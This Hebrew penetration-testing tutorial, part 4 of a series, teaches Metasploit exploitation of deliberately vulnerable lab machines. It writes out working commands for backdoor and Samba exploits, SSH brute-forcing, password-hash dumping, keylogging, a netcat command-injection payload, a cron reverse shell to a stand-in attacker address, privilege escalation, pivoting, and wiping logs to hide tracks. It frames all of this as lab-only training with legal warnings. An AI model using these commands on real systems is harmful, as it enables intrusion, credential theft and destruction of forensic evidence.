הנתיב של ההאקר: סדרה בת 5 חלקים
חלק 1: מבוא → חלק 2: שליטה ב-Flipper → חלק 3: יסודות Kali → חלק 4: Exploitation → חלק 5: הביקורת המלאה
בחלקים 1-3, בניתם את ארגז הכלים שלכם. אתם יכולים לשכפל תגים, למפות רשתות, ללכוד handshakes ולזהות כל שירות שרץ על מטרה. אתם רואים פגיעויות בכל מקום עכשיו. אבל לראות פגיעות ולנצל אותה הן מיומנויות שונות מאוד.
כאן הדברים נהיים אמיתיים. היום תלמדו להשתמש ב-Metasploit Framework, אותו כלי שמשתמשים בו בודקי חדירה מקצועיים ברחבי העולם. תנצלו את הפגיעות הראשונה שלכם, תבססו persistence, תסלימו הרשאות ותלמדו לעשות pivot דרך רשת.
הקו שאסור לחצות
הכל במאמר הזה חייב להיות מתורגל על מערכות שבבעלותכם או שיש לכם אישור כתוב מפורש לבדוק. גישה לא מורשית למערכות מחשב היא עבירה פדרלית שנושאת עונשים של עד 20 שנות מאסר. "רק למדתי" אינה הגנה. בנו מעבדה, השתמשו ב-VMs פגיעים במכוון, ולעולם אל תיגעו במערכות שאינן שלכם.
חלק 1: בניית מעבדת ההתקפה
לפני שמנצלים משהו, אתם צריכים מטרות. בודקי חדירה אמיתיים משתמשים בסביבות מעבדה מבודדות עם מכונות פגיעות במכוון. אתם תעשו את אותו הדבר.
ההתקנה הבסיסית של המעבדה
מה תצטרכו
- Kali Linux VM - מכונת ההתקפה שלכם (מחלק 3)
- Metasploitable 2 - VM של Linux פגיע במכוון (SourceForge)
- Metasploitable 3 - VM פגיע של Windows/Linux (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - מכונות פגיעות בסגנון CTF (vulnhub.com)
פרויקט: הקמת רשת מעבדה
זמן: 45 דקות
- הורידו את Metasploitable 2 מ-SourceForge
- ייבאו ל-VirtualBox/VMware
- הגדירו רשת: הגדירו גם את Kali וגם את Metasploitable ל-"Host-Only" או "Internal Network"
- אתחלו את Metasploitable (התחברות ברירת מחדל:
msfadmin/msfadmin) - רשמו את כתובת ה-IP:
ifconfig - מ-Kali, אמתו קישוריות:
ping METASPLOITABLE_IP - הריצו סריקה ראשונית:
sudo nmap -sV -sC METASPLOITABLE_IP
אימות: אתם צריכים לראות עשרות פורטים פתוחים. Metasploitable מתוכנן להיפרץ.
סריקת ה-nmap של Metasploitable צריכה לחשוף שירותים כמו FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL ועוד, רבים מהם מריצים גרסאות מיושנות ופגיעות. זה מגרש המשחקים שלכם.
חלק 2: יסודות Metasploit Framework
Metasploit הוא לא סתם כלי. הוא מערכת אקולוגית שלמה. הוא מכיל אלפי exploits, payloads, מודולים עזר וכלי post-exploitation. הבנת המבנה שלו היא חיונית.
הפעלת Metasploit
bash# Initialize the database (first time only)
sudo msfdb init
# Start Metasploit console
msfconsole
# You'll see the Metasploit banner and prompt:
msf6 >מבנה Metasploit
Metasploit מארגן הכל במודולים:
- Exploits - קוד שמנצל פגיעויות
- Payloads - קוד שרץ אחרי ה-exploitation (shells, meterpreter)
- Auxiliary - סורקים, fuzzers וכלי עזר אחרים
- Post - מודולי post-exploitation עבור persistence, pivoting
- Encoders - ערפול payloads כדי להתחמק מזיהוי
bash# Search for modules
msf6 > search type:exploit platform:linux smb
# Search by CVE
msf6 > search cve:2017-0144
# Search by name
msf6 > search vsftpd
# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorתהליך העבודה של Exploitation
כל exploitation ב-Metasploit עוקב אחר אותו תבנית:
- בחרו exploit -
use exploit/path/to/module - הגדירו אפשרויות - IP של המטרה, פורטים, credentials
- בחרו payload - מה רץ אחרי ה-exploitation
- הפעילו -
exploitאוrun
חלק 3: ה-Exploit הראשון שלכם
בואו ננצל אחד מה-backdoors המפורסמים ביותר בהיסטוריה: ה-vsftpd 2.3.4 backdoor. ב-2011, מישהו הכניס backdoor לקוד המקור של vsftpd. אם שולחים שם משתמש שמסתיים ב-:), נפתח shell בפורט 6200.
Metasploitable 2 מריץ בדיוק את הגרסה הזו.
bash# Start Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101
# Run the exploit
msf6 exploit(...) > exploit
# If successful:
[*] Command shell session 1 opened
[+] Got shell!
# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)זהו. שירות פגיע אחד, exploit אחד, גישת root. בגלל זה חשוב לעדכן תוכנה.
פרויקט: ניצול ה-vsftpd Backdoor
זמן: 15 דקות
דרישות קדם: Metasploitable 2 פועל, Kali באותה רשת
- אמתו ש-FTP רץ:
nmap -sV -p 21 TARGET_IP - הפעילו את msfconsole
- חפשו, בחרו והגדירו את ה-vsftpd exploit
- הריצו את ה-exploit
- ברגע שיש לכם shell, חקרו:
cat /etc/shadow
קריטריונים להצלחה: אתם יכולים לקרוא את /etc/shadow, שרק root יכול לגשת אליו.
חלק 4: הבנת Payloads
Payload הוא מה שרץ אחרי שה-exploit מצליח. ה-shell הבסיסי שקיבלנו למעלה הוא פשוט, אבל Metasploit מציע אפשרויות הרבה יותר חזקות.
סוגי Payloads
- Singles - payloads עצמאיים, חד-פעמיים (הוספת משתמש, הרצת פקודה)
- Stagers - payloads קטנים שיוצרים חיבור, ואז מורידים את ה-payload הראשי
- Stages - ה-payload הראשי שה-stager מוריד (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads
# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcpReverse מול Bind Shells
- Reverse shell - המטרה מתחברת חזרה אליכם. עדיף לעקיפת firewalls (תעבורה יוצאת בדרך כלל מותרת).
- Bind shell - המטרה פותחת פורט שתתחברו אליו. קל יותר לזיהוי, לעתים קרובות נחסם על ידי firewalls.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444
# Metasploit starts a listener automatically when you exploitMeterpreter: ה-Payload האולטימטיבי
Meterpreter הוא ה-payload החזק ביותר של Metasploit. הוא רץ לגמרי בזיכרון (ללא קבצים על הדיסק), מספק תקשורת מוצפנת וכולל עשרות פקודות מובנות ל-post-exploitation.
bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > download file # Download file to Kali
meterpreter > upload file # Upload file to target
meterpreter > shell # Drop to system shell
meterpreter > hashdump # Dump password hashes
meterpreter > screenshot # Take screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keystrokes
meterpreter > background # Background this sessionחלק 5: טכניקות Exploitation נוספות
ניצול Samba (SMB)
Metasploitable 2 מריץ גרסה פגיעה של Samba. זה דומה ל-exploit המפורסם EternalBlue שנוצל ב-WannaCry.
bash# Search for Samba exploits
msf6 > search type:exploit samba
# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit
[*] Command shell session 2 openedניצול Credentials חלשים
לא כל פריצה דורשת פגיעות בתוכנה. סיסמאות חלשות נמצאות בכל מקום.
bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run
# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'ניצול יישומי Web
Metasploitable כולל מספר יישומי web פגיעים. בואו ננצל PHP code injection.
bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)
# Use Metasploit's web exploits
msf6 > search type:exploit php
# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444פרויקט: ניצול שלושה שירותים שונים
זמן: 60 דקות
מטרה: Metasploitable 2
- נצלו את ה-vsftpd backdoor (FTP - פורט 21) וקבלו root shell
- נצלו את Samba usermap_script (SMB - פורט 139/445) וקבלו root shell
- פצחו SSH credentials (פורט 22) באמצעות auxiliary/scanner/ssh/ssh_login
- תעדו כל exploitation: מודול שנוצל, אפשרויות שהוגדרו, תוצאה
בונוס: חקרו את יישומי ה-web בפורט 80 ומצאו וקטורי exploitation ידניים.
חלק 6: Post-Exploitation
קבלת shell היא רק ההתחלה. בדיקות חדירה אמיתיות דורשות הדגמה של מה שתוקף יכול לעשות עם הגישה הזו. זה post-exploitation.
איסוף מידע
text# From a Meterpreter session
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux
# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arpbash# From a regular shell
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (requires root)
cat /etc/hosts # Network mappings
netstat -tulpn # Open ports
ps aux # Running processes
crontab -l # Scheduled tasksקצירת Credentials
text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bashbash# Or from shell
cat /etc/shadow
# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtביסוס Persistence
Persistence פירושו שמירה על גישה גם אחרי אתחולים מחדש או כשהווקטור הראשוני של ה-exploit תוקן.
bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker
# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistence = ראיות
כל מנגנון persistence משאיר עקבות. בבדיקת חדירה אמיתית, אתם מתעדים מה יכולתם לעשות, ואז מנקים. השארת backdoors במערכות של לקוחות היא לא מקצועית ואולי אף בלתי חוקית. במעבדה שלכם, תשתוללו, אבל הבינו את ההשלכות.
חלק 7: הסלמת הרשאות
לעתים קרובות מקבלים גישה ראשונית כמשתמש עם הרשאות נמוכות. הסלמה ל-root/admin נדרשת בדרך כלל כדי להשיג את מטרות הבדיקה.
הסלמת הרשאות ב-Linux
bash# Current user context
id
whoami
# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Sudo permissions
sudo -l
# Kernel version (for kernel exploits)
uname -a
# Running processes as root
ps aux | grep root
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*סקריפטים אוטומטיים לאיסוף מידע
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000
# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitableוקטורי Privesc נפוצים ב-Linux
bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell
# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;
# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shellהסלמת הרשאות ב-Windows
אם אתם בודקים מטרות Windows (Metasploitable 3), הטכניקות שונות:
text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user
meterpreter > getsystem
[+] ...got SYSTEM
# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester
# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploitפרויקט: הסלמה ממשתמש ל-Root
זמן: 45 דקות
תרחיש: יש לכם גישת SSH ל-Metasploitable כ-msfadmin (ללא root)
- SSH ל-Metasploitable:
ssh msfadmin@TARGET - הריצו
idכדי לאשר שאתם לא root - בדקו הרשאות sudo:
sudo -l - חפשו SUID binaries:
find / -perm -4000 2>/dev/null - העלו והריצו LinPEAS
- זהו וקטור privesc ונצלו אותו
מטרה: קבלו root shell באמצעות משהו שאינו ניצול שירות רשת.
חלק 8: Pivoting
Pivoting הוא שימוש במערכת שנפרצה כדי לתקוף מערכות אחרות שאינן נגישות ישירות ממכונת ההתקפה שלכם. כך תוקפים נעים לרוחב ברשתות.
תרחיש ה-Pivot
דמיינו את הרשת הזו:
- ה-Kali שלכם: 192.168.1.100
- Host שנפרץ: 192.168.1.50 (מחובר גם לרשת פנימית 10.0.0.0/24)
- מטרה: 10.0.0.10 (נגיש רק מ-192.168.1.50)
אתם לא יכולים להגיע ל-10.0.0.10 ישירות. אבל דרך ה-host שנפרץ, אתם יכולים.
ניתוב Metasploit
text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50
meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1
meterpreter > background
# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print
# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run
# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploitSOCKS Proxy לגישה מלאה
bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run
# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080
# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]SSH Tunneling (ללא Metasploit)
bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host
# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80
# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444חלק 9: כיסוי עקבות
בודקי חדירה מקצועיים מתעדים את הגישה שלהם אבל מנקים אחריהם. הבנת איך תוקפים מכסים עקבות עוזרת גם בזיהוי חדירות.
bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log
# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file
# Meterpreter
meterpreter > clearev # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"בהתקשרויות אמיתיות: אל תעשו את זה
בודקי חדירה מקצועיים מתעדים את הגישה שלהם ומדווחים על הממצאים שלהם. הם לא מסתירים אותם. ניקוי לוגים הורס ראיות שהמגנים צריכים כדי להבין את נתיב ההתקפה. תרגלו טכניקות אלו רק בסביבת המעבדה המבודדת שלכם.
הנתיב של ההאקר
סדרה בת 5 חלקים שלוקחת אתכם מסקרנים למסוגלים.
חלק 1: מבוא חלק 2: שליטה ב-Flipper חלק 3: יסודות Kali חלק 4: Exploitation ✓ חלק 5: ביקורת מלאה
רשימת בדיקה לחלק 4
☐ הקמת מעבדה: Metasploitable 2 פועל, רשת מבודדת מוגדרת
☐ Metasploit: מסד נתונים מאותחל, ניווט בסיסי נשלט
☐ Exploit ראשון: vsftpd backdoor נוצל, root shell הושג
☐ וקטורים מרובים: FTP, SMB נוצלו ו-SSH credentials נפרצו
☐ Post-Exploitation: password hashes חולצו, מערכת נסרקה
☐ הסלמת הרשאות: הסלמה ממשתמש ל-root ללא network exploit
☐ Pivoting: הבנת מושגי autoroute ו-SOCKS proxy
☐ תיעוד: כל ה-exploits תועדו עם שלבים וראיות
מה הלאה
למדתם לנצל פגיעויות, להסלים הרשאות ולעשות pivot ברשתות. ראיתם כמה מהר חולשה אחת הופכת לפריצה מוחלטת. אתם מבינים מה בודקי חדירה מקצועיים עושים.
בחלק 5, אנחנו מחברים הכל יחד. תבצעו ביקורת אבטחה מלאה מההתחלה ועד הסוף:
- הגדרת היקף וכללי התקשרות
- מתודולוגיית סיור מלאה
- exploitation שיטתי
- post-exploitation מקיף
- דיווח מקצועי
- המלצות לתיקון
חלק 5 הוא השיא. הכל שלמדתם לאורך הסדרה הזו מתחבר למתודולוגיית עולם אמיתי שתוכלו להשתמש בה כדי להעריך את האבטחה של כל רשת שאתם מורשים לבדוק.
למדתם את הטכניקות. עכשיו אתם לומדים את המתודולוגיה. חלק 5 הופך מיומנויות לתהליך עבודה מלא של בדיקות חדירה.
נתראה בחלק 5.